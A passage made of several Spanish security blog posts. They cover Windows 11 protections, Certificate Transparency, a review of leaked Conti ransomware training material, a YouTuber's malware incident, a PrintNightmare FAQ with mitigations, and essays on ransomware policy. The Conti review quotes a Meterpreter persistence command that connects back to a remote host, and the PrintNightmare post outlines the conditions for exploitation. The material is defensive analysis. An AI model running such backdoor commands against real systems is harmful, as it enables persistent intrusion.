no se ha logueado en Windows con Hello, los ficheros aparecerán cifrados y no se podrá acceder a ellos. ¿Para qué sirve esto? Como dicen en el ejemplo de la presentación, previene ataques en los que se eluda la pantalla de bloqueo a través de ataques de acceso directo a memoria DMA que no estén protegidos. Un atacante que no se haya autenticado en el sistema por los cauces “habituales” sino que se haya saltado la pantalla de bloqueo, no podrá acceder a los ficheros gracias a PDE. Una capa por encima del cifrado en frío de BitLocker, estaría la PDE para el cifrado en caliente. La contraseña de PDE no la conoce el usuario, simplemente se borra de memoria cuando se bloquea el sistema, y se descifra al desbloquearlo con el login habitual. También serviría como seguridad adicional si el atacante se salta BitLocker. Parece que choca o se superpone en cierta forma con la funcionalidad EFS. ¿Cómo se implementa esto? Si el atacante intenta acceder sin haberse autenticado como usuario (saltándose la pantalla de bloqueo o montando el disco en otro ordenador), aparecería un candado cerrado en los ficheros y un mensaje prohibiendo el acceso. No se puede acceder al fichero gracias a PED Smart App Control SAC parece muy orientado a comprobar la firma y certificados del fabricante de los binarios. Se intentará determinar si es correcta (con su certificado válido y correcto), antes de pasar incluso por Windows Defender para añadir una capa de seguridad extra. SAC está basado en IA, lo que implica telemetría. Parece que Microsoft camina hacia requerir por defecto que los programas estén firmados o sean descargados desde un repositorio confiable, como ya lo hace MacOS o Android. Mejora el SmartScreen habitual en el que Windows, gracias a su telemetría, te dice si una app es legítima o no. También mejora AppLocker que es más estático. SAC estará basado en la IA alojada en la nube, aprendiendo del usuario. De hecho, para los que quieran activarlo, requiere una reinstalación del sistema para que pueda aprender desde el principio qué programas son habituales en ese equipo. Smart App cree que la aplicación no es de fiar y te manda al Store oficial Enhanced phishing protection for Microsoft Defender Esta es quizás una de las medidas más interesantes. Hasta ahora, SmartScreen a través del navegador (o en versiones profesionales, por otros medios) protegía en el sistema de una URL maliciosa, o dominio sospechoso. Por simple comparación. Ahora va más allá, y Windows protege a varios niveles las contraseñas, vigilando en todo momento dónde son usadas o enviadas. Tanto si es una URL visible, como interna (a qué URL viajan) o incluso si son guardadas de forma insegura. Por un lado, observa las conexiones de red en cualquier aplicación (Teams incluida) y si concluye que la contraseña viaja a un dominio que no debería, alerta al usuario, aunque esta no sea la URL principal del dominio que está visitando. En la imagen se observa cómo una página que simula ser el login de Office incrustada en TEAMS, está en realidad (se destaca en el sniffer Fiddler la conexión) llevando la contraseña de Office a otro dominio. Proceso de detección de que la contraseña viaja a otro sitio que no debería Pero va más allá. Si se te ocurre almacenar las contraseñas en el un TXT en Notepad, te alertará del error. Y aún peor, si se reutiliza una contraseña conocida por el sistema operativo (en la imagen, por ejemplo, en LinkedIn) también alertará del problema que podría suponer. En esta modalidad, Windows como sistema operativo no trata la contraseña como una cadena más, sino que la conoce a todos los niveles y la vigila durante todo su uso dentro del sistema operativo. ¿Podría dar falsos positivos con las apps de almacenamiento de contraseñas? Alertas al reutilizar la contraseña en Linkedin y al almacenarla en un TXT. Todas estas opciones podrán ser desactivadas por el usuario. Cómo activar o desactivar estas funciones de protección en Windows 11 Por último, Windows 11 activa por defecto VBS, o la virtualización como elemento de seguridad. Desde que en 2008 se incluyó Hiper-V, el software de Microsoft que aprovecha la capacidad de virtualización nativa de los procesadores Intel y AMD, se han orientado estas funcionalidades para mejorar la seguridad. De hecho, a esta estrategia se le llama Virtualization-Based Security o VBS. Se centra en virtualizar memoria para aislar los procesos entre sí al máximo. Si un atacante intenta explotar un fallo en el kernel y está operando desde ahí, se dispondría de una abstracción todavía superior (o inferior, según se mire) con aún más poder que el kernel, que permitiría prevenir procesos o acceso a ciertos recursos incluso cuando el atacante ya tiene poderes en el ring0. De ahí su utilidad. Esto se implementa con el hypervisor-protected code integrity (HVCI) que impediría inyectar código dinámico en el kernel (como hizo Wannacry). A su vez, esto permitirá que funcione directamente el Credential Guard (no es nueva, pero sí infrautilizada) y la protección LSASS para que no cargue en este proceso crucial código no firmado, que también es una vieja conocida (RunAsPPL en el registro, básicamente una protección contra Mimikatz). Todo esto, aunque ya conocido, vendrá activo de serie en Windows 11.

Certificate Transparency (CT), aunque no es muy popular entre los usuarios de a pie, les afecta de muchas formas para mejorar la seguridad de su conexión con las webs. Es más, les afecta incluso en su privacidad y seguro que no lo estaban teniendo en cuenta. Ahora Google (el principal impulsor de CT) da un paso hacia la independencia del ecosistema aunque todavía debe mejorar sus problemas de privacidad. ¿Qué es Certificate Transparency? Lo hemos explicado en el pasado, pero resumimos. Si se crea un certificado, debe quedar registrado en unos servidores de Logs públicos. Si no, se sospechará que se ha creado con malas intenciones. Para “registrarlo”, se crea un Signed Certificate Timestamp, o SCT, un token criptográfico firmado que otorga un servidor Log como garantía de que se ha dado de alta el certificado en él. Este SCT va siempre incrustado en el certificado y cuando se visita una web, el navegador se encarga de comprobar que es válido contra varios servidores logs. Uno de ellos debe ser de Google (hay varias empresas de certificados que tienen logs públicos). Si no es así, aparece un error. Todo esto ocurre sin que el usuario lo perciba. Un SCT incrustado en el certificado, que el navegador debe comprobar. Ahora bien, el SCT es más bien una promesa de que se va meter el certificado en el Log, porque nada impide que un operador de un Log (que puede ser cualquiera) se ponga de acuerdo con un atacante, cree un certificado, le otorgue un SCT… pero en realidad no lo haga público en su log. Esto invalidaría todo el ecosistema CT. ¿Cómo lo solucionó Google? Con dos movimientos. Uno es que siempre tenía que haber un “Log de Google” entre los requeridos (actualmente tres) donde se hubiera registrado el certificado. Así, Google se fía de sí misma y sabe que nunca hará el mal, enviando un SCT a un certificado que realmente no ha registrado. Otra, es el “SCT auditing” que implicaría, mal implementado, una clara violación de la privacidad de los usuarios. Ambas soluciones tienen sus problemas. Veamos por qué. Chrome mostrando los tres Logs donde el SCT es válido. Uno siempre de Google... hasta ahora. Al menos un Log de Google Si Google no se fía del resto de Logs, ¿por qué habría de fiarse los suyos? Pues porque es la mejor solución que encontró en ese momento. Un certificado no se considerará que cumple de forma válida con el ecosistema Certificate Transparency si no está en un Log de Google…. Al menos hasta este mes, donde se ha eliminado esa necesidad. Se implementará en la versión 100 de Chrome. Cabe recordar que Apple ya fue por su lado con Safari, y en marzo de 2021 anunció que no seguiría esa política de fiarse de Google, que con saber que el SCT estaba en dos logs diferentes, le valía. La privacidad y el SCT auditing SCT auditing vino también hace no mucho como una de las soluciones para ese control sobre los SCT y que de verdad los logs se comportasen bien. Es sencillo: auditar aleatoriamente los SCT de los certificados y comprobar que están realmente en los logs. Pero ¿cómo? Pues como mejor sabe Google: usando al usuario y aprovechando la adopción de Chrome para enviar a los Logs los SCT de los sitios que se visitan para comprobar que efectivamente han sido registrados. Mucho se habló del SCT auditing pero realmente esto suponía un atentado para la privacidad del usuario y un problema al implementarlo. Pero aun así lo hicieron en la versión e Chrome de marzo de 2021 de nuevo, lo mejor que supieron. ¿Cómo? Activaron el SCT auditing solo para los usuarios que ya compartiesen, a través de la compartición de datos mejorada que se puede hacer con Safe Browsing, sus visitas con Google. Al ser algo que los usuarios activaban voluntariamente, se les añadía además como “auditores de SCT” ya de paso. No es la opción por defecto. Anuncio de cómo funcionaría el SCT auditing Las dos fórmulas descritas ayudan a controlar que un Log malicioso no emita un SCT para un certificado sin que ese mismo Log lo registre. Pero el SCT auditing debe haberle ido bien a Google, puesto que parece que elimina la primera fórmula y (como ya hacía Safari) desde ahora no se necesita que uno de los Logs sea de Google. Chrome en Android, el SCT auditing sería solo para quien haya elegido la protección mejorada, no porque mejore su seguridad, sino porque ha elegido compartir más datos con Google Por tanto, para velar por el buen hacer de los Logs, os quedamos con el SCT auditing donde todos los usuarios que ya comparten ciertos datos de navegación con Safe Browsing, también están velando por un ecosistema CT más seguro a su vez. Firefox no implementa Certificate Transparency.

Un miembro de la banda Conti (en realidad quizás deberíamos hablar de programa de afiliación) publicó en agosto el material técnico y guías que deben seguir los afiliados para entrar en una compañía, robar todo lo posible y cifrar los datos. Una vez ahí, la organización Conti les extorsionará con publicar los datos si no pagan el rescate. Hemos echado un vistazo a esa información técnica con la que entrenan a los atacantes que entrarán en la red de la futura víctima. Con esto podemos entender qué consideran que es necesario para vulnerar una empresa hasta el punto de cifrar sus entrañas y, por tanto, cómo defendernos mejor. Un poco de contexto Esta persona parece un pentester enfadado por lo poco que le pagan por entrar en las redes de las empresas y por tanto comparte los servidores de Cobalt y el material de entrenamiento. Quien compartió esto ya hizo un pequeño análisis. Además de desvelar algunos de los C2C de Cobalt Strike donde las víctimas se conectan para comunicarse con su beacon. También filtró un “Manuals for hard workers and software.rar”, en el que se encuentran varios ficheros TXT con instrucciones. Lo curioso es que en ellos no hay nada del otro mundo. Pasos básicos conocidos por muchos para exfiltrar información con algunas curiosidades. Por ejemplo, que automatizan la subida de ficheros a Mega. También los típicos movimientos laterales, control de directorio activo, configurar redes Tor… un recetario muy sencillo fundamentalmente en PowerShell. En la imagen se resume el análisis de lo filtrado por esta persona. Y además 30GB de material de entrenamiento técnico Pero es que además, hace poco, se han filtrado 30GB de material de entrenamiento para los técnicos. Hemos echado un vistazo al “training material”. La realidad es que, si bien no desvela complicados 0days o técnicas desconocidas, es cierto que sirve como un curso de ciberseguridad avanzado con todo un recetario para tener siempre a mano. No diríamos que contiene información especialmente desconocida. De hecho, es material que puede encontrarse en cualquier curso de ciberseguridad ofensiva. Su mayor valor, por tanto, está en la recopilación en sí, tanto en la cantidad como en la elección concreta del material seleccionado para los pentesters. Esto nos permite comprender cómo se explotan estos fallos en la vida real, en el del día a día del ransomware y cómo puede reaccionar la ciberseguridad de una compañía. Conociendo el recetario de los atacantes (que muchas de las veces atacarán de forma rutinaria sin variar mucho los ingredientes) se podría llegar a proteger más y mejor una red. En los 30GB encontramos esta estructura de directorios. Recetas en PowerShell, instrucciones precisas en TXT sobre cómo volcar bases de datos o recuperar nombres de usuarios de un directorio activo… En el “training material leak”, con más de 30GB de información, podemos encontrar estas rutas básicas con su tamaño aproximado: * 2.1GB. 1. Crack 2019.rar. Dentro contiene un curso de ensamblador, de cracker y de reverser. Es un curso en Flash e incluye el software Flash Player Pro con una licencia pirata. Incluye decenas y decenas de ejemplos de código ensamblador y cómo compilarlo. El curso de cracker y reversing contiene muchos vídeos AVI comentados no profesionales en los que se enseña en ruso los rudimentos y mil ejemplos. * 4.4GB 10. Attacking and Defending Active Directory.rar. Contiene este documento: Esos enlaces llevan a una zona privada de https://www.pentesteracademy.com, pero el curso incluye los vídeos descargados. También un TXT con un recetario. Todos los docs tienen los mismos metadatos: Alexey Litvinenko (espía ruso envenenado con polonio en 2006) como autor y Grizzli777 como compañía. Al parecer es común en Words piratas. * 1.5GB 2.Metasploit US.rar. Este módulo son todo vídeos y pequeños TXT con recetas como esta: Post better understand the victim escalation of privileges deleting logs and monitoring programs data collection and exploitation anchoring and entrances pivot network Post 5. anchoring and entrances meterpretor > run persistence -h meterpretor > run persistence -A -L c:\\ -X -i 10 -p 443 -r 192.168.2.140 Con curiosidades como exploits para XP. 5.3GB 4.Network Pentesting.rar. Contiene estos directorios autoexplicativos: Dentro, todos son vídeos, esta vez de cursos privados de SecurityTube. Algunos títulos de vídeos: * 1.1GB 5.Cobalt Strike.rar. Todo vídeos. Con cabeceras al estilo Marvel como esta: Un vídeo específico es para el fallo ZeroLogon 2020-1472. 1.7GB 6.Powershell for Pentesters.rar. Más y más vídeos con todo tipo de trucos de Powershell. Todos de SecurityTube. 0.6GB 7. Windows Red Team Lab.rar. Muy poquitos vídeos y este TXT 1.6GB 8. WMI Attacks and Defense.rar. Algunos vídeos sobre el tema, impartidos por lasmismas persona de SecurityTube, pero con el logo de PentesterAcademy.com * 0.6GB 9. Abusing SQL Server Trusts in a Windows Domain.rar. Algunos vídeos y ciertas recetas: 6.2GB GeekBrayns Reverse Engineering.rar. En realidad es bastante material de la página https://gb.ru con vídeos, documentos y PPTs. 1GB GCB.zip. Parece un curso de cyberrange de PentesterAcademy, con vídeos. Conclusiones Todo un curso en el que fundamentalmente hay vídeos (muchos de ellos de varias horas). ¿Son clases especiales? No, es material de pentesterAcademy y securityTube principalmente. Le acompañan PDFs, la inmensa mayoría son las presentaciones usadas en el vídeo. También vemos algunos TXT con “recetas” y atajos y algunos documentos con enlaces a más información. Abarca desde el más bajo nivel (el curso de ensamblador es bastante extenso) hasta el AD. No hay más (ni tampoco menos). Es un curso completo de seguridad ofensiva muy orientado a entrar en un sistema y realizar la operativa esencial antes del cifrado, todo sacado de fuentes públicas o privados pero de ninguna forma revela algo nuevo más allá del esfuerzo de la recopilación.

Hace poco se conocía la noticia: están atacando a los youtubers con mayor número de seguidores para extorsionarles. Los ataques van en aumento y las técnicas no son nuevas pero, desde hace tiempo, se están detectando estos ataques y siguen aumentando. De hecho, desde hace algo más de un año, cuando ocurrió esta historia. El comienzo del ataque Este youtuber tiene más de 700.000 suscriptores y es muy conocido en el sector. Su día a día es tratar con proveedores, fabricantes, anunciantes… que le envían correos con documentos adjuntos. Sabe perfectamente que no debe pinchar en enlaces a dominios desconocidos o con descargas, usa antivirus para comprobar los documentos ofimáticos y PDFs, y no se fía de los que le entran a puerta fría. Doble factor de autenticación en todas sus cuentas y… un amigo al que llamar en caso de emergencia. Un día recibió un correo de un proveedor con el que llevaba varios días intercambiando emails. No lo conocía, pero la relación se había establecido. En realidad era el atacante, y se había tomado la molestia de hablar con nuestro youtuber, proponerle el negocio y esperar al momento adecuado (varios días) para enviarle un supuesto vídeo. El fichero pesaba 65 megabytes, así que envió al youtuber un enlace a Dropbox que este descargó en su ordenador. Aun así, no se fiaba. Miró la extensión, sabe que no debe lanzar ejecutables. La extensión era SCR. El atacante no se molestó en usar doble extensión, pero bien podía haberlo hecho. Aun así, nuestro youtuber sí que ha configurado Windows para mostrar las extensiones más conocidas. El icono del archivo representaba un vídeo. ¿Qué es SCR? Se preguntó. Buscó en Google y comprobó que era algo relacionado con los salvapantallas. Podría tener sentido, siendo un vídeo, pensó. A continuación pulsó con el botón derecho con el ánimo de analizarlo con su antivirus. Nada, no lo detectó. Vio algo curioso. “Test” en negrita. ¿Podía testear el archivo antes de lanzarlo? En su lógica, tenía sentido, concluyó que sería una buena medida de seguridad lanzar en “test” este SCR antes de ejecutarlo. Además, él no trabaja con la cuenta de administrador y ya lo había analizado el antivirus, lo que le hacía sentir más seguro. Así que lo lanzó como “test”. Lo que no sabía es que lo estaba ejecutando. Los SCR son extensiones ejecutables en todos los sentidos. Los salvapantallas (y esto es algo poco conocido) tienen la posibilidad de ejecutarse en “test”, y se puede comprobar en cualquier Windows. Pero realmente poco tiene de prueba… lanzar un SCR en “test” es igual a ejecutar y, por tanto, toda la carga del malware se lanza exactamente igual. El icono del vídeo es trivial de introducir en el fichero y el peso de 65 megas es artificial, puro relleno, para mejorar la impresión de que es un vídeo. El youtuber ya estaba infectado. La sospecha y la llamada El supuesto vídeo no hizo nada, no se reproducía. Y esto alertó a nuestro youtuber. Algo estaba pasando, puesto que la CPU del sistema llegaba al 100% a ratos. Miró la pantalla, intentando matar algún proceso, pero no estaba seguro de cuál era el malware o qué estaba haciendo. A los pocos minutos decidió apagar el ordenador y llamarme a título personal. Me contó lo que había ocurrido, el supuesto vídeo, las precauciones… Le dije que inmediatamente cambiase todas la contraseñas, mientras hablábamos, que lo hiciese desde un móvil o tablet diferente y protegiese su canal. ¡Pero si tengo doble factor!, me decía. Le dije que no importaba, que podían haberle robado la sesión con las cookies. Que el SCR en realidad podía haber enviado al atacante todos los tokens de las sesiones abiertas en el navegador y, si estaba atento en ese momento (el atacante), podría llegar a acceder a sus cuentas. De hecho, me contó que el atacante le pidió expresamente que le indicara cuándo más o menos vería el vídeo, que tenía mucha prisa. Le pregunté si almacenaba alguna contraseña en el navegador y me dijo que no, menos mal. Mientras le advertía de esto, intentó cambiar algunas contraseñas. Le costaba recordar todas las identidades que utilizaba en la red, no tenía un procedimiento de emergencia paso por paso, y ahora lo echaba de menos. Pero en la mitad de la llamada… se cortó. Dejé de oírle. Intenté llamarle pero no había forma, el teléfono no estaba encendido. Era como si hubiera desconectado todo por completo de forma súbita. Aunque era raro, pensé que se le había acabado la batería y en aquel momento no podía cargarla. Después de unos 15 minutos me llamó de vuelta. Ahora sí tenía miedo. El ataque Me contó que, mientras hablaba, el teléfono se había reiniciado y comenzado a reformatear en sus manos. Era un Android. Se sentía observado, tenía verdadero pánico. ¿Usas el servicio de "Find my device"? Le pregunté. Sí, claro, me respondió. Estaba claro que el atacante había accedido a la cuenta de Gmail asociada al teléfono y había solicitado el formateo en remoto del Android. ¿Esa cuenta es la misma que usas para YouTube? ¡No!, me dijo. ¡Esa cuenta es solo para el teléfono! Bien hecho. Era justo una de las cuentas a las que no había cambiado la contraseña y cerrado sesión. La única a la que el atacante había podido acceder y, ahora, desesperado, estaba intentando infligir el máximo daño. Le pedí tranquilidad. Disponía de un USB de arranque con una distribución Linux, así que le guié para poder pasar un antivirus, borrar el archivo dañino (que ya no estaba) y potenciales secuelas, recuperar algunos documentos, etc. No se fiaba así que finalmente tras recuperar su información, decidió formatear su Windows. Repasamos, una vez más, todas sus cuentas y, en un sistema completamente nuevo, terminó de cambiar y poner en orden sus contraseñas. No le recomendé formatear el Android porque ya lo había hecho el atacante. Las conclusiones Nuestro YouTuber hizo muchas cosas bien: Tenía doble factor de autenticación. No se fiaba de nadie. Cuestionaba los archivos y los envíos. No almacenaba contraseñas en el navegador, y segmentaba las cuentas (una para el teléfono, otra para el canal…). Disponía de otros sistemas desde donde operar en caso de emergencia. Como una llave USB o tablets. Apagó el ordenador en cuanto sospechó un ataque. Las que hizo mal: No indagó más en la naturaleza de un SCR, que es un ejecutable. Aun así, el “test” del menú contextual no ayudó a tomar una decisión. No disponía de un listado de cuentas para cambiar contraseñas en caso de emergencia. Y aun así, tuvo suerte. El cambio de contraseñas rápido fue efectivo. Le permitió que no entraran en su canal o en su correo. La única cuenta que se le olvidó, la asociada a su teléfono Android, sufrió la ira del atacante. Parece que buscaba de forma muy concreta llegar al canal y por tanto llegar al teléfono no le supuso un botín a la altura. Las conclusiones más claras podrían ser. Con la concienciación no basta. O lo que es lo mismo, toda concienciación es poca, según se mire. En cualquier momento, todas nuestras identidades digitales o ficheros se pueden ver comprometidos. Aparte del respaldo, es necesario un protocolo claro que ejecutar desde otro sistema. Puede ser tan sencillo como una lista en un TXT y una serie de URLs donde cambiar las contraseñas, pero es conveniente que exista, junto a un sistema de arranque limpio para un ordenador, dado el caso.

Vamos a intentar aclarar algunas dudas comunes sobre esta vulnerabilidad, puesto que ha aparecido con ciertos datos confusos sobre si estaba parcheada, denominación, fórmulas para ser explotada y cómo protegerse. ¿Por qué sale ahora y sin parche? Zhiniang Peng y Xuefeng Li van a la Black Hat este año a mostrar cómo explotar vulnerabilidades en la cola de impresión de Windows. Por alguna razón publicaron todos los detalles de una vulnerabilidad que en principio llamaron CVE-2021-1675 pero que luego se ha confirmado como CVE-2021-34527 y con el alias “printNightmare”. Publicaron en github el exploit y poco después de se arrepintieron y lo borraron. Pero ya era tarde y se copió en otros muchos lugares con otros formatos, lenguajes, etc. ¿Está parcheada? No. En un principio se pensaba que de alguna forma era una variante de CVE-2021-1675, parcheada el ocho de junio, pero no. Es un fallo diferente. Eso sí, tener el parche o no influye en el flujo de decisión para ser más o menos vulnerable. ¿Cómo me atacan? Se necesita tener un usuario válido en el sistema o en la red (alojado en el controlador de dominio) y que el controlador de dominio permita la impresión remota. Estas son las condiciones básicas. A partir de ahí, cualquiera con no demasiados conocimientos podrá inyectar una DLL en el servidor con privilegios de SYSTEM, lo que en la práctica significa control absoluto de toda la red. ¿Soy vulnerable? Probablemente sí, todos los Windows lo son en potencia. Existen exploits ya de todo tipo, es muy sencillo de explotar. Si la cola de impresión está accesible y no está el parche aplicado, el exploit funcionará. A la cola de impresión no se accede directamente a través de un puerto por tanto regular el acceso por el cortafuegos no ayudará (a no ser que se quiera bloquear puertos 445 y 137 que son más delicados de gestionar). Si se tiene el parche en un controlador de dominio, y el atacante está en el grupo de compatibilidad pre-2000, el exploit funcionará. “Pre-windows 2000 Compatible Access” es un grupo que relaja y adapta ciertas medidas para que puedan funcionar sistemas 9x en el controlador. Esto no es tan poco común como pueda parecer. Si no es un controlador de dominio, entonces hay que fijarse en otro parámetro puesto que lo anterior no aplica. Hay que fijarse en el estado de “point and print” y “EnableLUA”. El primero es un sistema que permite imprimir con un solo clic, esto es, instalación automática de drivers si es necesario. El segundo tiene que ver con el UAC y si está desactivado, el exploit funcionará. Se ve mucho mejor en este árbol de decisión. ¿Cómo puedo protegerme? Depende de lo que quieras sacrificar. Si no necesitas para nada imprimir, lo más sencillo es apagar y deshabilitar el servicio. Si se necesita imprimir en local pero que nadie pueda explotar esto en remoto, se puede deshabilitar la impresión remota desde GPO. Se consigue deshabilitando esa “Permitir que el administrador de trabajos de impresión acepte conexiones cliente”. O en inglés: “Allow Print Spooler to accept client connections”. Es necesario reiniciar el servicio. Algo que está por defecto deshabilitado pero no está de más asegurarse es el "point and print": HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint NoWarningNoElevationOnInstall = 0 NoWarningNoElevationOnUpdate = 0 ¿Qué ocurre si se quiere imprimir en todas las condiciones desde fuera y dentro? Una fórmula más arriesgada pero que permite operar más libre es modificar los permisos. Con este “hack” el impacto es que no se puedan añadir más impresoras en el sistema, pero el exploit no funcionará aunque el fallo seguirá ahí. Es arriesgado pero parece eficaz. Más información aquí. ¿Cómo puedo saber si estoy siendo atacado? Aquí Microsoft ha publicado algunos datos de Microsoft 365: https://aka.ms/printspooler-rce-ahq Aquí hay detalles sobre cómo detectarlo con varios fabricantes: https://github.com/LaresLLC/CVE-2021-1675 Es muy buena idea también habilitar el registro específico de Windows:

En los últimos meses, es raro que no se publique cada poco que una gran empresa ha sido víctima del ransomware, ya sea paralizada o extorsionada. Todo el que esté leyendo esto tiene algún ejemplo reciente en la cabeza. Una devastadora epidemia que, seamos realistas, no va a parar en el corto plazo. Al menos hasta que, como con la pandemia vírica que también estamos sufriendo, consigamos coordinar todas las fuerzas relevantes a nivel global. Veamos lo mínimo necesario. Como consecuencia de la pandemia de COVID a nivel mundial, muchos han comprendido conceptos básicos que podemos llevar a la ciberseguridad. Por ejemplo la importancia de la seguridad por capas y de lo complementario de las mitigaciones (ventilación pero también mascarillas, lavado de manos pero también distancia social… incluso estando vacunados). Además, nos hemos cuestionado el concepto de falsa sensación de seguridad (mascarilla al aire libre, ¿realmente útil en todas las circunstancias?). Hemos aprendido nociones como el cálculo de riesgos y beneficios de aplicar alguna medida (potenciales efectos secundarios de una vacuna frente riesgos reales de contagio)… Quizás con todo esto, el usuario medio está más preparado para entender cómo problemas complejos como el ransomware requieren múltiples aproximaciones complementarias una vez comprendida la severidad de la amenaza. Antes de comprender esto, las medidas de defensa serán erráticas, incompletas, insuficientes... Un proceso de ensayo y error (se pasó por una fase de infraestimar el peligro con el coronavirus, se enfatizó en un principio en el uso de guantes hasta que se puso foco en las mascarillas según se investigó más…). ¿Alguien creía que, con la distancia social y las mascarillas, acabaríamos con la pandemia en 2020? Suponemos que (no nos engañemos) en el fondo sabíamos que eran elementos necesarios, pero no suficientes. Siempre esperamos las vacunas, porque sabíamos que algo faltaba en la ecuación para ganar la guerra. Nos "defendíamos" del virus, pero no le "atacábamos" además como estrategia. Y en esa fase es quizás donde estamos ahora si establecemos un paralelismo con el ransomware. Falta “algo más”. Y es que en la seguridad pasa algo muy parecido. Lo primero es entender bien los riesgos… y a esto la realidad nos está obligando a base de disgustos. Después debemos proponer mitigaciones que (de nuevo seamos realistas) no van a ser eficaces por sí solas y en el corto plazo. Porque a menos que todas las estrategias y actores funcionen a la vez de forma global, persistente y con el mismo nivel de madurez, la estrategia fracasará. Sin eso, seguiremos sufriendo oleadas más o menos agresivas de ataques. Nos llevan años de ventaja La industria del malware maduró a principios de los 2000, cuando todavía la ciberseguridad se llamaba seguridad informática y era cosa de algunos locos. Nos llevan años de ventaja a la hora de organizar ataques y conectarlos con la industria del crimen a nivel global. Primero probaron a enriquecerse con los troyanos bancarios y, cuando la brecha se cerró porque reaccionó la industria legítima, a medida que dependíamos más de la digitalización, acudieron a la extorsión, que ha resultado en la fórmula mágica que exploraron con gran éxito y todavía mantienen. Primero bloqueando la pantalla a los usuarios, después cifrándoles los archivos. Más tarde pasaron a secuestrar pymes, de ahí a las grandes compañías. De estas a todo tipo de organizaciones y finalmente a las infraestructuras críticas de un país, que es donde estamos ahora. Sin escrúpulos, atacan donde el impacto puede poner en riesgo vidas o desestabilizar un país, donde saben que así es más fácil que les paguen. En estas circunstancias no parece tan sencillo eso de “no pagar” como mantra. La industria legítima madura a otro ritmo, mucho más reactivo. Aunque no lo parezca, quizás donde mejor posicionados estamos es en el plano de concienciación de la empresa (qué remedio) y en cierto modo, técnico. Nos concentramos en parchear y responder, en auditar y certificar dentro de nuestros presupuestos. Esto evitará muchos problemas de seguridad. Pero es que los atacantes avanzan más rápido en el nivel técnico (ante defensas más duras, vulnerabilidades más complejas explotadas antes y mejor) y ahí siempre vamos a perder. No avanzaremos lo suficientemente rápido contra la industria del ransomware si no ponemos de acuerdo también a otros actores. Como con la pandemia, lo que cambiará las reglas del juego y nos hará doblegar la curva no será solamente la responsabilidad “técnica” individual, sino la coordinación global a nivel científico, económico, legal… esto es, lo equivalente a lo que se ha conseguido con el enorme esfuerzo público-privado y logístico global que han supuesto las vacunas, pero en ciber. ¿Cuál es la vacuna de la epidemia del ransomware? Todo cuenta, pero lo más importante es coordinarnos para que los atacantes no encuentren motivación en este tipo de ataque. Desincentivarlos en el sentido técnico (el coste de entrar en ciertos sistemas), económico (el beneficio de la extorsión) y legal (el castigo si les atrapan). ¿Cómo estrangularlos desde el punto de vista económico? ¿No pagando? No es tan sencillo. AXA tomaba hace poco una decisión en Francia: la cobertura del ciberseguro cubrirá ciertos daños pero no devolverá el dinero del rescate a los clientes que paguen por la extorsión. Los ciberseguros como el de AXA han concluido que esta cláusula normalizaba precisamente la menos traumática de las salidas: pagar y ceder a la extorsión. Y también suponemos que no les salía a cuenta con tanto incidente. Y normalizar el pago no solo ha hecho que el negocio del seguro no sea rentable sino que ha alimentado la propia industria del cibercrimen. Pero ¿qué alternativa tienen las organizaciones que de no pagar, se ven obligadas a cerrar? O ceden a la extorsión y alimentan el proceso que fortalece a los atacantes o se resisten al pago y lo pierden todo. En este aspecto los ciberseguros deben todavía encontrar un modelo sostenible y viable, su hueco como actor relevante, asegurando a compañías bajo una premisa de adopción de ciberseguridad mínima y adaptando correctamente las pólizas. Dinamizar la industria para minimizar el riesgo (para que no acudan tanto a su seguro) y en el peor de los casos ayudar eficazmente en su recuperación. Desde el punto de vista legal, Joe Biden firmó hace poco una Orden Ejecutiva para mejorar la ciberseguridad nacional y proteger de manera más eficiente las redes del gobierno federal. El ataque a la operadora de oleoductos Colonial Pipeline fue la gota que colmó el vaso. Esta orden ejecutiva pretende modernizar las defensas y se traducirá en que las empresas deberán cumplir unos estándares mínimos. Y por si se echaban de menos leyes que agilicen la posibilidad de perseguir a los atacantes, identificarlos e imponer sanciones a nivel mundial, se avanzó también hace poco en ese sentido: el ransomware será tratado como terrorismo. Otra forma de desincentivar a los atacantes. En resumen, el negocio del ransomware no solo debe estrangularse evitando financiar la extorsión, sino también mejorando la seguridad integral de las empresas y con unas leyes eficaces que persigan a los criminales con penas ejemplares. Fácil de decir, complejo de orquestar e implementar. Y por último, no olvidemos que es un problema global Las cadenas de suministro son un grave problema para la ciberseguridad. El incidente de SolarWinds lo dejó claro. Un mundo interconectado exige medidas globales en todos los pasos de la cadena. Como con las vacunas, no estaremos todos a salvo hasta que todos hayamos recibido las dosis. Cuando sepamos aplicar todas esas mitigaciones desde diferentes ángulos y los actores encuentren su hueco, hay que asegurar también que las apliquen precisamente todos los actores relevantes y minoritarios a nivel mundial. Incluso los que creen que no es su problema (como ocurre en EEUU con premios aleatorios entre los que se hayan vacunado, para motivar así a los anti-vacunas). Esta combinación de actores globales, atacando el problema desde diferentes ángulos y según sus posibilidades, es la mejor vacuna contra el ransomware. Paciencia, no va a solucionarse a corto por la complejidad de la situación… pero ocurrirá. Los elementos necesarios ya están en marcha. Apliquemos técnicas defensivas en lo técnico, pero también ofensivas en otros planos.

Joe Biden ha firmado una Orden Ejecutiva para mejorar la ciberseguridad nacional y proteger de manera más eficiente las redes del gobierno federal. El ataque a la operadora de oleoductos Colonial Pipeline, una noticia que ha trascendido a los medios generalistas, ha sido la gota que ha colmado el vaso. A pesar de que la industria de la ciberseguridad podía intuir que el ransomware acabaría atacando infraestructuras críticas y causando el caos, ha sido necesario que la amenaza se materialice para que se produzca una reacción que, esperamos, tendrá consecuencias beneficiosas. La ciberseguridad ya tiene en su historia para recordar, otro ataque que cambió las reglas del juego. Los acontecimientos negativos capaces de cambiar las leyes, el paradigma o la conciencia colectiva sobre una industria, se cuentan con los dedos una mano. En la ciberseguridad quizás (sin ánimo de completar con todos los casos) podemos hablar de Blaster y Sasser en 2003, que modificó por completo la percepción de la seguridad en Microsoft, ya bastante tocada. Stuxnet en 2010 nos alertó sobre las ciberarmas y concienció al mundo sobre la nueva estrategia ciber y geopolítica. Por supuesto Wannacry en 2017, un golpe al orgullo de la industria por ser atacados a esas alturas por un gusano que aprovechaba una vulnerabilidad ya solucionada. Y a pesar de llevar años lidiando con el ransomware, ha tenido que materializarse la amenaza en un impacto con consecuencias graves para Estados Unidos para que se endurezcan las normas. Porque si lo pensamos bien, era el siguiente avance lógico en la escalada: pasaros de atacar a los usuarios a secuestrar pymes, de las pymes a las grandes compañías, de estas a las organizaciones y de ahí, se intuía, a las infraestructuras críticas. Pero el incidente (junto con otros tantos que se han venido sucediendo) ha terminado por hacer reaccionar al presidente. Esta orden ejecutiva pretende modernizar las defensas pero sobre todo poner el foco en un problema que todavía, a pesar de la gravedad de la situación, 